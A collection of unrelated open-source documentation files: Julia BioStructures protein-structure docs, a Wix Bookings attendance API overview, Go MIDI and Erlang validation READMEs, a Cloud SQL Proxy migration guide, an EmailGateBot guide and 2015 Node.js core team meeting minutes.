| `psiangle`           | Psi dihedral angle between a residue and the next residue                                        |
| `omegaangles`        | `Vector` of omega dihedral angles of an element                                                  |
| `phiangles`          | `Vector` of phi dihedral angles of an element                                                    |
| `psiangles`          | `Vector` of psi dihedral angles of an element                                                    |
| `ramachandranangles` | `Vector`s of phi and psi angles of an element                                                    |
| `ContactMap`         | `ContactMap` of two elements, or one element with itself                                         |
| `DistanceMap`        | `DistanceMap` of two elements, or one element with itself                                        |
| `showcontactmap`     | Print a representation of a `ContactMap` to `stdout` or a specified `IO` instance                |
| `rmsd`               | RMSD between two elements of the same size - assumes they are superimposed                       |
| `displacements`      | `Vector` of displacements between two elements of the same size - assumes they are superimposed  |

The `omegaangle`, `phiangle` and `psiangle` functions can take either a pair of residues or a chain and a position.
The `omegaangle` and `phiangle` functions measure the angle between the residue at the given index and the one before.
The `psiangle` function measures between the given index and the one after.

For example:

```julia
julia> distance(struc['A'][10], struc['A'][20])
10.782158874733762

julia> rad2deg(bondangle(struc['A'][50]["N"], struc['A'][50]["CA"], struc['A'][50]["C"]))
110.77765846083398

julia> rad2deg(dihedralangle(struc['A'][50]["N"], struc['A'][50]["CA"], struc['A'][50]["C"], struc['A'][51]["N"]))
-177.38288114072924

julia> rad2deg(psiangle(struc['A'][50], struc['A'][51]))
-177.38288114072924

julia> rad2deg(psiangle(struc['A'], 50))
-177.38288114072924
```

`ContactMap` takes in a structural element or a list, such as a `Chain` or `Vector{Atom}`, and returns a `ContactMap` object showing the contacts between the elements for a specified distance.
`ContactMap` can also be given two structural elements as arguments, in which case a non-symmetrical 2D array is returned showing contacts between the elements.
The underlying `BitArray{2}` for `ContactMap` `contacts` can be accessed with `contacts.data` if required.

```julia
julia> contacts = ContactMap(collectatoms(struc['A'], cbetaselector), 8.0)
Contact map of size (85, 85)
```

A [plot recipe](http://docs.juliaplots.org/latest/recipes) is defined for this so it can shown with [Plots.jl](http://docs.juliaplots.org/latest):

```julia
using Plots
plot(contacts)
```

![contactmap](contactmap.png)

For a quick, text-based representation of a `ContactMap` use `showcontactmap`.

`DistanceMap` works in an analogous way to `ContactMap` and gives a map of the distances. It can also be plotted:

```julia
dists = DistanceMap(collectatoms(struc['A'], cbetaselector))
using Plots
plot(dists)
```

![distancemap](distancemap.png)

## Downloading PDB files

To download a PDB file to a specified directory:

```julia
downloadpdb("1EN2", pdb_dir="path/to/pdb/directory")
```

To download multiple PDB files to a specified directory:

```julia
downloadpdb(["1EN2", "1ALW", "1AKE"], pdb_dir="path/to/pdb/directory")
```

To download a PDB file in PDB, XML, MMCIF or MMTF format use the `file_format` argument:

```julia
downloadpdb("1ALW", pdb_dir="path/to/pdb/directory", file_format=MMTF)

# To get XML
downloadpdb("1ALW", pdb_dir="path/to/pdb/directory", file_format=PDBXML)
```

To apply a function to a downloaded file and delete the file afterwards:

```julia
downloadpdb(f, "1ALW")
```

Or, using Julia's `do` syntax:

```julia
downloadpdb("1ALW") do fp
    s = read(fp, PDB)
    # Do something
end
```

Various options can be set through optional keyword arguments when downloading PDB files:

| Keyword Argument                | Description                                                                                |
| :------------------------------ | :----------------------------------------------------------------------------------------------------------------------- |
| `pdb_dir::AbstractString=pwd()` | The directory to which the PDB file is downloaded; defaults to the current working directory                             |
| `file_format::Type=PDB`         | The format of the PDB file; options are PDB, PDBXML, MMCIF and MMTF                                                      |
| `obsolete::Bool=false`          | If set `true`, the PDB file is downloaded in the auto-generated "obsolete" directory inside the specified `pdb_dir`      |
| `overwrite::Bool=false`         | If set `true`, overwrites the PDB file if it exists in `pdb_dir`; by default skips downloading the PDB file if it exists |
| `ba_number::Integer=0`          | If set > 0 downloads the respective biological assembly; by default downloads the PDB file                               |

## Reading PDB files

To parse an existing PDB file into a Structure-Model-Chain-Residue-Atom framework:

```julia
julia> struc = read("/path/to/pdb/file.pdb", PDB)
ProteinStructure 1EN2.pdb with 1 models, 1 chains (A), 85 residues, 754 atoms
```

Read a mmCIF file instead by replacing `PDB` with `MMCIF`.
Various options can be set through optional keyword arguments when parsing PDB/mmCIF files:

| Keyword Argument                 | Description                                                                        |
| :------------------------------- | :--------------------------------------------------------------------------------- |
| `structure_name::AbstractString` | The name given to the returned `ProteinStructure`; defaults to the file name       |
| `remove_disorder::Bool=false`    | Whether to remove atoms with alt loc ID not ' ' or 'A'.                            |
| `read_std_atoms::Bool=true`      | Whether to read standard ATOM records.                                             |
| `read_het_atoms::Bool=true`      | Whether to read HETATOM records.                                                   |

The function `readpdb` provides an alternative way to read PDB files in line with `downloadpdb`.
To parse a PDB file by specifying the PDB ID and PDB directory:

```julia
struc = readpdb("1EN2", pdb_dir="/path/to/pdb/directory")
```

The same keyword arguments are taken as `read` above, plus `pdb_dir` and `ba_number`.

To download and parse a PDB file into a Structure-Model-Chain-Residue-Atom framework in a single line:

```julia
julia> struc = retrievepdb("1ALW", pdb_dir="path/to/pdb/directory")
INFO: Downloading PDB: 1ALW
ProteinStructure 1ALW.pdb with 1 models, 2 chains (A,B), 346 residues, 2928 atoms
```

Various options can be set when using `retrievepdb`:

| Keyword Argument                              | Description                                                                                |
| :-------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------- |
| `pdb_dir::AbstractString=pwd()`               | The directory to which the PDB file is downloaded; defaults to the current working directory                             |
| `obsolete::Bool=false`                        | If set `true`, the PDB file is downloaded in the auto-generated "obsolete" directory inside the specified `pdb_dir`      |
| `overwrite::Bool=false`                       | If set `true`, overwrites the PDB file if it exists in `pdb_dir`; by default skips downloading the PDB file if it exists |
| `ba_number::Integer=0`                        | If set > 0 downloads the respective biological assembly; by default downloads the PDB file                               |
| `structure_name::AbstractString="$pdbid.pdb"` | The name given to the returned `ProteinStructure`; defaults to the PDB ID                                                |
| `remove_disorder::Bool=false`                 | Whether to remove atoms with alt loc ID not ' ' or 'A'.                                                                  |
| `read_std_atoms::Bool=true`                   | Whether to read standard ATOM records.                                                                                |
| `read_het_atoms::Bool=true`                   | Whether to read HETATOM records.                                                                                |

## Writing PDB files

PDB format files can be written:

```julia
writepdb("1EN2_out.pdb", struc)
```

Any element type can be given as input to `writepdb`.
Atom selectors can also be given as additional arguments:

```julia
# Only backbone atoms are written out
writepdb("1EN2_out.pdb", struc, backboneselector)
```

The first argument can also be a stream.
To write mmCIF format files, use the `writemmcif` function with similar arguments.
A `MMCIFDict` can also be written using `writemmcif`:

```julia
writemmcif("1EN2_out.dic", mmcif_dict)
```

Multi-character chain IDs can be written to mmCIF files but will throw an error when written to a PDB file as the PDB file format only has one character allocated to the chain ID.

If you want the PDB record line for an `Atom`, use `pdbline`.
For example:

```julia
julia> pdbline(at)
"HETATM  101  C  A  X B  20      10.500  20.123  -5.123  0.50 50.13           C1+"
```

If you want to generate a PDB record line from values directly, do so using an `AtomRecord`:

```julia
julia> pdbline(AtomRecord(false, 669, "CA", ' ', "ILE", "A", 90, ' ', [31.743, 33.11, 31.221], 1.00, 25.76, "C", ""))
"ATOM    669  CA  ILE A  90      31.743  33.110  31.221  1.00 25.76           C  "
```

This can be useful when writing PDB files from your own data structures.

## RCSB PDB utility functions

To get the list of all PDB entries:

```julia
l = pdbentrylist()
```

To download the entire RCSB PDB database in your preferred file format:

```julia
downloadentirepdb(pdb_dir="path/to/pdb/directory", file_format=MMTF)
```

This operation takes a lot of disk space and time to complete (depending on internet connection).
The keyword arguments are:

| Keyword Argument                | Description                                                                                |
| :------------------------------ | :----------------------------------------------------------------------------------------------------------------------- |
| `pdb_dir::AbstractString=pwd()` | The directory to which the PDB files are downloaded; defaults to the current working directory                           |
| `file_format::Type=PDB`         | The format of the PDB file; options are PDB, PDBXML, MMCIF and MMTF                                                      |
| `overwrite::Bool=false`         | If set `true`, overwrites the PDB file if it exists in `pdb_dir`; by default skips downloading the PDB file if it exists |

To update your local PDB directory based on the weekly status list of new, modified and obsolete PDB files from the RCSB server:

```julia
updatelocalpdb(pdb_dir="path/to/pdb/directory", file_format=MMTF)
```

Obsolete PDB files are stored in the auto-generated `obsolete` directory inside the specified local PDB directory.

To maintain a local copy of the entire RCSB PDB database, run the `downloadentirepdb` function once to download all PDB files and set up a CRON job or similar to run `updatelocalpdb` function once a week to keep the local PDB directory up to date with the RCSB server.

There are a few more functions that may be useful:

| Function                 | Returns                                                                         | Return type                                                 |
| :----------------------- | :------------------------------------------------------------------------------ | :---------------------------------------------------------- |
| `pdbentrylist`           | List of all PDB entries from the RCSB server                                    | `Array{String,1}`                                           |
| `pdbstatuslist`          | List of PDB entries from a specified RCSB weekly status list URL                | `Array{String,1}`                                           |
| `pdbrecentchanges`       | Added, modified and obsolete PDB lists from the recent RCSB weekly status files | `Tuple{Array{String,1},Array{String,1},` `Array{String,1}}` |
| `pdbobsoletelist`        | List of all obsolete PDB entries                                                | `Array{String,1}`                                           |
| `downloadallobsoletepdb` | Downloads all obsolete PDB files from the RCSB PDB server                       | `Array{String,1}`                                           |

## Visualising structures

The [Bio3DView.jl](https://github.com/jgreener64/Bio3DView.jl) package can be used to visualise molecular structures.
For example:

```julia
using Bio3DView
using Blink
viewpdb("1CRN")
```

![viewpdb](viewpdb.png)

```julia
struc = retrievepdb("1AKE")
viewstruc(struc['A'], surface=Surface(Dict("colorscheme"=> "greenCarbon")))
```

![viewstruc](viewstruc.png)

Here they are shown as static images but they are interactive when using Bio3DView.jl.
See the [Bio3DView.jl tutorial](http://nbviewer.jupyter.org/github/jgreener64/Bio3DView.jl/blob/master/examples/tutorial.ipynb) for more information.

## Examples

A few further examples of BioStructures usage are given below.

**A)** To plot the temperature factors of a protein, if you have Plots installed:

```julia
using Plots
calphas = collectatoms(struc, calphaselector)
plot(resnumber.(calphas),
     tempfactor.(calphas),
     xlabel="Residue number",
     ylabel="Temperature factor",
     label="")
```

**B)** To print the PDB records for all C-alpha atoms within 5 Angstrom of residue 38:

```julia
for at in calphas
    if distance(struc['A'][38], at) < 5.0 && resnumber(at) != 38
        println(pdbline(at))
    end
end
```

**C)** To find the residues at the interface of a protein-protein interaction:

```julia
for res_a in collectresidues(struc["A"], standardselector)
    for res_b in collectresidues(struc["B"], standardselector)
        if distance(res_a, res_b) < 5.0
            println(resnumber(res_a), "A ", resnumber(res_b), "B")
        end
    end
end
```

**D)** To show the Ramachandran phi/psi angle plot of a structure, if you have Plots installed:

```julia
using Plots
phi_angles, psi_angles = ramachandranangles(struc, standardselector)
scatter(rad2deg.(phi_angles),
     rad2deg.(psi_angles),
     title="Ramachandran plot",
     xlabel="Phi / degrees",
     ylabel="Psi / degrees",
     label="",
     xticks=[-180, -90, 0, 90, 180],
     yticks=[-180, -90, 0, 90, 180],
     xlims=(-180, 180),
     ylims=(-180, 180))
```

**E)** To calculate the RMSD and displacements between the heavy (non-hydrogen) atoms of two models in an NMR structure:

```julia
downloadpdb("1SSU")
struc_nmr = read("1SSU.pdb", PDB)
rmsd(struc_nmr[5], struc_nmr[10], heavyatomselector)
displacements(struc_nmr[5], struc_nmr[10], heavyatomselector)
```

**F)** To calculate the cysteine fraction of every structure in the PDB:

```julia
l = pdbentrylist()
for p in l
    downloadpdb(p, file_format=MMCIF) do fp
        s = read(fp, MMCIF)
        nres = countresidues(s, standardselector)
        if nres > 0
            frac = countresidues(s, standardselector, x -> resname(x) == "CYS") / nres
            println(p, "  ", round(frac, digits=2))
        end
    end
end
```


text:
SortOrder: 0
# About the Wix Bookings Attendance API

With the Wix Bookings Attendance API,  you can retrieve and manage a booked session's attendance information by:

* [Setting](https://dev.wix.com/api/rest/wix-bookings/attendance/set-attendance) the attendance for a given booked session.
* [Getting](https://dev.wix.com/api/rest/wix-bookings/attendance/get-attendance) the attendance information for a given booked session by ID.
* [Querying](https://dev.wix.com/api/rest/wix-bookings/attendance/query-attendance) the attendance by given filters, sorting, and paging.

## About the attendance object

The [attendance object](https://dev.wix.com/api/rest/wix-bookings/attendance/attendance-object) holds information about the attendance of a booked session, such as:
* Did anyone attend the session?
* How many people attended the session?

The number of session `Attendance` objects available depends on session types:
+ Appointment sessions have 1 `Attendance` object per appointment.
+ Class sessions have an `Attendance` object for each session of the class. The number of sessions for a class is defined in Schedule and Sessions' [`schedule.capacity`](https://dev.wix.com/api/rest/wix-bookings/schedules-and-sessions/schedule/schedule-object) property.
+ Course sessions have an `Attendance` object for each session of the course. The number of sessions for a class is defined in Schedule and Sessions' [`schedule.capacity`](https://dev.wix.com/api/rest/wix-bookings/schedules-and-sessions/schedule/schedule-object) property.

## Use cases

Common business usages for this API include:

* Set the attendance for a given booked session to reflect how many attendees checked in.
* Query the attendance for a given participant in a course booking.
* Query attendance for a particular booking's sessions over time to see if a particular session has frequent no-shows. You can compare the number of attendees to the number of participants that signed up for that booking's sessions.

## Terminology

For a comprehensive glossary of Wix Bookings terms, see [Terminology](https://dev.wix.com/api/rest/wix-bookings/terminology).

## Before you begin

Validation capabilities are limited. Make sure your code validates that:
+ There is no mismatch between `numberOfAttendees` and `attendanceStatus` to make sure, for example, that `attendanceStatus` is not `NOT_ATTENDED` while `numberOfAttendees` is `5`.
+ The attendance's `numberOfAttendees` and the booking's `numberOfParticipants` correspond. For example, the number of attendees usually should not exceed the booking's intended number of participants (unless perhaps you allow walk-ins that did not sign up in advance).

repository: wix-incubator/wix-rest-docs

repo_name: wix-incubator/wix-rest-docs


text:
# midi

Modular library for reading and writing of MIDI messages and MIDI files with Go.

Note: If you are reading this on Github, please note that the repo has moved to Gitlab (gitlab.com/gomidi/midi) and this is only a mirror.

- Go version: >= 1.14
- OS/architectures: everywhere Go runs (tested on Linux and Windows).

## Installation

```
go get gitlab.com/gomidi/midi@latest
```

## Features

This package provides a unified way to read and write "over the wire" MIDI data and MIDI files (SMF).

- [x] implementation of complete MIDI standard ("cable" and SMF MIDI)
- [x] reading and optional writing with "running status"
- [x] seamless integration with io.Reader and io.Writer
- [x] allows the reuse of same libraries for live writing and writing to SMF files
- [x] provide building blocks for other MIDI libraries and applications
- [x] no dependencies outside the standard library
- [x] small modular core packages
- [x] typed Messages

## Drivers

For "cable" communication you need a `Driver`to connect with the MIDI system of your OS.
Currently there are two multi-platform drivers available:
- package `gitlab.com/gomidi/rtmididrv` based on rtmidi
- package `gitlab.com/gomidi/portmididrv` based on portmidi

## Porcelain package

For easy access, the packages `gitlab.com/gomidi/midi/reader` and `gitlab.com/gomidi/midi/writer` are recommended.

The other packages are more low level and allow you to write your own implementations of the `midi.Reader`, `midi.Writer`and `midi.Driver` interfaces to wrap the given SMF and live readers/writers/drivers for your own application.

[Documentation reader package](https://pkg.go.dev/gitlab.com/gomidi/midi/reader)
[Documentation writer package](https://pkg.go.dev/gitlab.com/gomidi/midi/writer)

### Example with MIDI cables

```go
package main

import (
	"fmt"
	"time"

	"gitlab.com/gomidi/midi"
	"gitlab.com/gomidi/midi/reader"

	// replace with e.g. "gitlab.com/gomidi/midi/rtmididrv" for real midi connections
	driver "gitlab.com/gomidi/midi/testdrv"
	"gitlab.com/gomidi/midi/writer"
)

// This example reads from the first input and and writes to the first output port
func main() {
	// you would take a real driver here e.g. rtmididrv.New()
	drv := driver.New("fake cables: messages written to output port 0 are received on input port 0")

	// make sure to close all open ports at the end
	defer drv.Close()

	ins, err := drv.Ins()
	must(err)

	outs, err := drv.Outs()
	must(err)

	in, out := ins[0], outs[0]

	must(in.Open())
	must(out.Open())

	defer in.Close()
	defer out.Close()

	// the writer we are writing to
	wr := writer.New(out)

	// to disable logging, pass mid.NoLogger() as option
	rd := reader.New(
		reader.NoLogger(),
		// write every message to the out port
		reader.Each(func(pos *reader.Position, msg midi.Message) {
			fmt.Printf("got %s\n", msg)
		}),
	)

	// listen for MIDI
	err = rd.ListenTo(in)
	must(err)

	err = writer.NoteOn(wr, 60, 100)
	must(err)

	time.Sleep(1)
	err = writer.NoteOff(wr, 60)

	must(err)
	// Output: got channel.NoteOn channel 0 key 60 velocity 100
	// got channel.NoteOff channel 0 key 60
}

func must(err error) {
	if err != nil {
		panic(err.Error())
	}
}
```

### Example with MIDI file (SMF)

```go
package main

import (
	"fmt"
	"os"
	"path/filepath"

	"gitlab.com/gomidi/midi/reader"
	"gitlab.com/gomidi/midi/writer"
)

type printer struct{}

func (pr printer) noteOn(p *reader.Position, channel, key, vel uint8) {
	fmt.Printf("Track: %v Pos: %v NoteOn (ch %v: key %v vel: %v)\n", p.Track, p.AbsoluteTicks, channel, key, vel)
}

func (pr printer) noteOff(p *reader.Position, channel, key, vel uint8) {
	fmt.Printf("Track: %v Pos: %v NoteOff (ch %v: key %v)\n", p.Track, p.AbsoluteTicks, channel, key)
}

func main() {
	dir := os.TempDir()
	f := filepath.Join(dir, "smf-test.mid")

	defer os.Remove(f)

	var p printer

	err := writer.WriteSMF(f, 2, func(wr *writer.SMF) error {

		wr.SetChannel(11) // sets the channel for the next messages
		writer.NoteOn(wr, 120, 50)
		wr.SetDelta(120)
		writer.NoteOff(wr, 120)

		wr.SetDelta(240)
		writer.NoteOn(wr, 125, 50)
		wr.SetDelta(20)
		writer.NoteOff(wr, 125)
		writer.EndOfTrack(wr)

		wr.SetChannel(2)
		writer.NoteOn(wr, 120, 50)
		wr.SetDelta(60)
		writer.NoteOff(wr, 120)
		writer.EndOfTrack(wr)
		return nil
	})

	if err != nil {
		fmt.Printf("could not write SMF file %v\n", f)
		return
	}

	// to disable logging, pass mid.NoLogger() as option
	rd := reader.New(reader.NoLogger(),
		// set the functions for the messages you are interested in
		reader.NoteOn(p.noteOn),
		reader.NoteOff(p.noteOff),
	)

	err = reader.ReadSMFFile(rd, f)

	if err != nil {
		fmt.Printf("could not read SMF file %v\n", f)
	}

	// Output: Track: 0 Pos: 0 NoteOn (ch 11: key 120 vel: 50)
	// Track: 0 Pos: 120 NoteOff (ch 11: key 120)
	// Track: 0 Pos: 360 NoteOn (ch 11: key 125 vel: 50)
	// Track: 0 Pos: 380 NoteOff (ch 11: key 125)
	// Track: 1 Pos: 0 NoteOn (ch 2: key 120 vel: 50)
	// Track: 1 Pos: 60 NoteOff (ch 2: key 120)
}
```

## Low level packages

[Documentation main package](https://pkg.go.dev/gitlab.com/gomidi/midi)

### Example with low level packages

```go
package main

import (
    "bytes"
    "fmt"
    . "gitlab.com/gomidi/midi/midimessage/channel"
    "gitlab.com/gomidi/midi/midimessage/realtime"
    "gitlab.com/gomidi/midi/midireader"
    "gitlab.com/gomidi/midi/midiwriter"
    "io"
    "gitlab.com/gomidi/midi"
)

func main() {
    var bf bytes.Buffer

    wr := midiwriter.New(&bf)
    wr.Write(Channel2.Pitchbend(5000))
    wr.Write(Channel2.NoteOn(65, 90))
    wr.Write(realtime.Reset)
    wr.Write(Channel2.NoteOff(65))

    rthandler := func(m realtime.Message) {
        fmt.Printf("Realtime: %s\n", m)
    }

    rd := midireader.New(bytes.NewReader(bf.Bytes()), rthandler)

    var m midi.Message
    var err error

    for {
        m, err = rd.Read()

        // breaking at least with io.EOF
        if err != nil {
            break
        }

        // inspect
        fmt.Println(m)

        switch v := m.(type) {
        case NoteOn:
            fmt.Printf("NoteOn at channel %v: key: %v velocity: %v\n", v.Channel(), v.Key(), v.Velocity())
        case NoteOff:
            fmt.Printf("NoteOff at channel %v: key: %v\n", v.Channel(), v.Key())
        }

    }

    if err != io.EOF {
        panic("error: " + err.Error())
    }

    // Output:
    // channel.Pitchbend channel 2 value 5000 absValue 13192
    // channel.NoteOn channel 2 key 65 velocity 90
    // NoteOn at channel 2: key: 65 velocity: 90
    // Realtime: Reset
    // channel.NoteOff channel 2 key 65
    // NoteOff at channel 2: key: 65
}

```

### Modularity

Apart from the porcelain packages there are small subpackages, so that you only need to import
what you really need.

This keeps packages and dependencies small, better testable and should result in a smaller memory footprint which should help smaller devices.

For reading and writing of cable and SMF MIDI data `io.Readers` are accepted as input and `io.Writers` as output. Furthermore there are common interfaces for live and SMF MIDI data handling: `midi.Reader` and `midi.Writer`. The typed MIDI messages used in each case are the same.

To connect with MIDI libraries expecting and returning plain bytes, use the `midiio` subpackage.

## License

MIT (see LICENSE file)

## Credits

Inspiration and low level code for MIDI reading (see internal midilib package) came from the http://github.com/afandian/go-midi package of Joe Wass which also helped as a starting point for the reading of SMF files.

## Alternatives

Matt Aimonetti is also working on MIDI inside https://github.com/mattetti/audio but I didn't try it.

repository: solarnz/pamidicontrol

gha_language: Go

repo_name: solarnz/pamidicontrol


text:
Deputy
======

Deputy is a declarative data conversion and validation library for Erlang.

It is meant to be useful for handling user input and reporting reasonably
useful messages back to a user.

For awesome -type based checking (which can certainly be used with this)
checkout github.com/extend/sheriff.

Simple Value Usage
------------------

```erlang
Rules = [{{convert, float}, <<"Must be a floating point number">>},
         {{'<', 10.0}, <<"Must be less than 10.0">>}],
{ok, 5.5} = deputy:check(<<"5.5">>, Rules),
{error, [<<"Must be less than 10.0">>]} =
    deputy:check(<<"40.0">>, Rules),
{error, [<<"Must be a floating point number">>]} =
    deputy:check(<<"abcd">>, Rules),
```

Proplist Usage
--------------

```erlang
Rules = [{<<"name">> , [{{regexp, <<"[a-zA-Z0-9]+">>}, <<"Must contain only alphanumerical characters">>}]}],
Attributes = [{<<"name">>, <<"##BatMan##">>}],
{error, [{<<"name">>, [<<"Must...">>]}]} = deputy:check_proplist(Attributes, Rules, []),
```

Addon Type Conversion and Validation
------------------------------------

```erlang
DateConvert = fun(Date) ->
    DateStr = binary_to_list(Date),
    case io_lib:fread("~4d-~2d-~2d", Date) of
        {ok, [Year, Month, Day]} ->
            {ok, {Year, Month, Day}};
        _ ->
            stop
    end.

CurrentDate =
MinAge = 18,
%% bad age checker
CheckAge = fun(Date) ->
  Days = calendar:date_to_gregorian(Date),
  {Today, _} = calendar:local_time(),
  TodayDays = calendar:date_to_gregorian(Today),
  Age = (TodayDays - Days)/365.0,
  case Age > MinAge ->
      true -> ok
      false -> error
  end,

Rules = [{<<"birthday">>,
  [{{func, DateConvert}, <<"Must be a valid datetime string.">>},
   {{func, CheckAge}, <<"Must be at least 18 years old.">>}]}].
```

repository: zavr-team/deputy

repo_name: zavr-team/deputy


text:
Open Tasks and Ideas
====================

* Make ZFS disk layout boot environment friendly
* Bring ZFS disk layout in line with what bsdinstall(8) does
* Automate process with [Rundeck](http://rundeck.org/)
* Find out if we should replace Vagrant with `poudriere image` for building

repository: angelalejos/vagrant-freebsd-boxbuilder

repo_name: angelalejos/vagrant-freebsd-boxbuilder


text:
# Migrating from v1 to v2

The Cloud SQL Auth Proxy v2 CLI interface maintains a close match to the v1
interface. Migrating to v2 will require minimal changes. Below are a number
of examples of v1 vs v2 invocations covering the most common uses. See
[Flag Changes](#flag-changes) for details.

All the examples below use `<INSTANCE_CONNECTION_NAME>` as a placeholder for
your instance connection name, e.g., `my-cool-project:us-central1:my-db`.

## Container Image Name Change

As part of releasing a v2, we have updated the image name to be more descriptive.
Compare:

```
# v1
gcr.io/cloudsql-docker/gce-proxy
```

vs

```
# v2
gcr.io/cloud-sql-connectors/cloud-sql-proxy
```

To update to the v2 container, make sure to update the image name.

## Behavior Differences

In v1, when a client connected, the Proxy would first try to use a public IP
and then attempt to use a private IP. In v2, the Proxy now defaults to public
IP without trying private IP. If you want to use private IP, you must pass
either the `--private-ip` flag or the query parameter. See the README for details.

In some cases, the v1 behavior may be preferrable. Use the `--auto-ip` flag to
mimic v1 behavior. We generally recommend using deterministic IP address selection,
but recognize in some legacy environments `--auto-ip` may be necessary.

## Sample Invocations

### Listen on TCP socket

```shell
# v1
./cloud_sql_proxy -instances=<INSTANCE_CONNECTION_NAME>=tcp:5432

# v2
# Using automatic database port selection (MySQL 3306, Postgres 5432, SQL Server 1433)
./cloud-sql-proxy <INSTANCE_CONNECTION_NAME>
```

### Listen on Unix Socket

```shell
# v1
./cloud_sql_proxy -dir /cloudsql -instances=<INSTANCE_CONNECTION_NAME>

# v2
./cloud-sql-proxy --unix-socket /cloudsql <INSTANCE_CONNECTION_NAME>
```

### Listen on multiple TCP sockets with incrementing ports

```shell
# v1
./cloud_sql_proxy -instances=<INSTANCE_CONNECTION_NAME>=tcp:5000,<INSTANCE_CONNECTION_NAME2>=tcp:5001

# v2
# starts listener on port 5000, increments for additional listeners
./cloud-sql-proxy --port 5000 <INSTANCE_CONNECTION_NAME> <INSTANCE_CONNECTION_NAME2>
```

### Listen on multiple TCP sockets with non-sequential ports

```shell
# v1
./cloud_sql_proxy -instances=<INSTANCE_CONNECTION_NAME>=tcp:6000,<INSTANCE_CONNECTION_NAME2>=tcp:7000

# v2
./cloud-sql-proxy '<INSTANCE_CONNECTION_NAME>?port=6000' '<INSTANCE_CONNECTION_NAME2>?port=7000'
```

### Listen on all interfaces

```shell
# v1
./cloud_sql_proxy -instances=<INSTANCE_CONNECTION_NAME>=tcp:<IP_ADDRESS>:6000

# v2
./cloud-sql-proxy --address <IP_ADDRESS> --port 6000 <INSTANCE_CONNECTION_NAME>
```

## Flag Changes

The following table lists in alphabetical order v1 flags and their v2 version.

- 🗓: Planned
- ❌: Not supported in V2
- 🤔: Unplanned, but has open feature request

| v1                          | v2                    | Notes                                                                                |
| --------------------------- | --------------------- | ------------------------------------------------------------------------------------ |
| check_region                | ❌                    |                                                                                |
| credential_file             | credentials-file      |                                                                                |
| dir                         | unix-socket           |                                                                                |
| enable_iam_login            | auto-iam-authn        |                                                                                |
| fd_rlimit                   | 🤔                    | [Feature Request](https://github.com/GoogleCloudPlatform/cloudsql-proxy/issues/1258) |
| fuse                        | fuse                  |                                                                                |
| fuse_tmp                    | fuse-temp-dir         |                                                                                |
| health_check_port           | http-port             |  Use --http-address=<IP_ADDRESS> when using a health check in Kubernetes                  |
| host                        | sqladmin-api-endpoint |                                                                                |
| instances_metadata          | 🤔                    | [Feature Request](https://github.com/GoogleCloudPlatform/cloudsql-proxy/issues/1259) |
| ip_address_types            | private-ip            | Defaults to public. To connect to a private IP, you must add the --private-ip flag   |
| log_debug_stdout            | ❌                    | v2 logs to stdout, errors to stderr by default                                       |
| max_connections             | max-connections       |                                                                                |
| projects                    | ❌                    | v2 prefers explicit connection configuration to avoid user error                     |
| quiet                       | quiet                 | quiet disables all logging except errors                                             |
| quota_project               | quota-project         |                                                                                |
| refresh_config_throttle     | ❌                    |                                                                                |
| skip_failed_instance_config | ❌                    | This flag was only necessary with Unix sockets. Use TCP sockets to avoid failed startup. |
| structured_logs             | structured-logs       |                                                                                |
| term_timeout                | max-sigterm-delay     |                                                                                |
| token                       | token                 |                                                                                |
| use_http_health_check       | health-check          |                                                                                |
| verbose                     | ❌                    |                                                                                |
| version                     | version               |                                                                                |

repository: renovate-bot/cloudsql-proxy

repo_name: renovate-bot/cloudsql-proxy


text:
# Emailing to the channels and groups of Telegram Messenger

![EmailGateBot logo](../logo.png)

[@EmailGateBot](http://t.me/EmailGateBot?start=utm_KDaxQG000_github-en-guide-01) assigns a special email address to Telegram channels and groups and publishes messages sent to this email in them.
EmailGateBot cannot send outgoing emails from Telegram and does not require access to your email accounts.
The bot does not require administrator rights in groups and is free for personal use.

- [Paid and free use of the bot](paid_and_free.md)
- [How to messaging](messaging.md)
- ['stoplist' and 'allowlist'](stop_allow_list.md)
- [Pictures, videos, stickers and other types of media](media.md)
- [Scheduled, repeatable, and auto-deleted publications](scheduled.md)
- [Pinned messages](pinned.md)
- [Voting buttons and link buttons](buttons.md)
- [Viewing the list of voters](view_voters.md)
- [Emoji emoticons and text formatting](text_formatting.md)
- [Automatic text conversion](text_conversion.md)
- [Editing published messages](editing_published.md)
- [Bulk messaging](bulk.md)
- [Referral program](referrals.md)
- [List of bot commands](commands.md)

More information on using the bot can be obtained

- in the [EmailGateBot FAQ](faq.md)
- in the article [Notifications from popular resources: Facebook, Twitter, Reddit, etc.](transform_text.md)
- using the /help bot command
- by subscribing to the bot [news channel](http://t.me/emailgateen)
- by asking a question in the [support group](https://t.me/joinchat/CJ4MSEfmFlaDevQOeMVoLg)
- from community articles: [Publicar en Telegram sin internet es posible](https://telegra.ph/Publicar-en-Telegram-sin-internet-es-posible-11-15) (Spanish)

Try [@EmailGateBot](http://t.me/EmailGateBot?start=utm_KDaxQG000_github-en-guide-02)

gha_language: Python


text:
---
title: Minutes for the Node.js core team meeting of 03/26/2015
date: 2015-03-26
layout: foundation-tsc-minutes-post.hbs
---

## Participants

* Alexis Campailla
* Colin Ihrig
* James Snell
* Julien Gilli
* Michael Dawson
* Robert Kowalski
* TJ Fontaine
* Trevor Norris
* Wyatt Preul

## Discussions

### Foundation charter

TJ: We want to make sure that we're participating in this process.

TJ: Now could be a good time for everyone to talk about tools they know that
would work well to help the work done by the foundation.

### Benchmarks

Michael: We'd like to have tools to make sure there's no performance
regression between releases.

Michael: We could use https://github.com/acmeair/acmeair, and there's a
Node.js version: https://github.com/acmeair/acmeair-nodejs.

Michael: Have talked to maintainer of acme-air and they are willing to
collaborate, we could also get them to give us an intro to the benchmark if
that makes sense.

TJ: We also want a benchmark specifically for low-latency and high
concurrency.

TJ: How do we want to start with that? Also should assess what we already have.

Michael: Might want to form a performance working group.

Michael: Good idea to reach out to io.js too.

TJ to forward to Michael contacts at Yahoo, Netflix and Paypal that might be
interested in participating.

### OOB OSX

v0.10.37 fixed an issue in kqueue regarding out of band data. The reporter
never heard back from Apple, and no CVE  has been assigned. Could lead to a
DOS scenario.

### Security issue in vm.js

TJ: Got an email about a user concerned about the fact that the parent of a
sliced buffer can be traversed across VMs.

Trevor: this has been known for a while.

TJ: sandbox is a not a security context sandbox, but more a "programming
sandbox".

TJ: In my opinion, mostly a documentation bug on our part.

### Putting a link to IBM Node.js SDK on nodejs.org

TJ: I don't have any objection. What link would we use?

James: We have a landing page for this SDK for Node.js. Easiest thing would be
to land to this page.

TJ: I want to avoid confusion if the versions are not in sync between the two
projects.

James: We can make it clear on this landing page.

TJ: Can the additional debugging stuff be upstreamed?

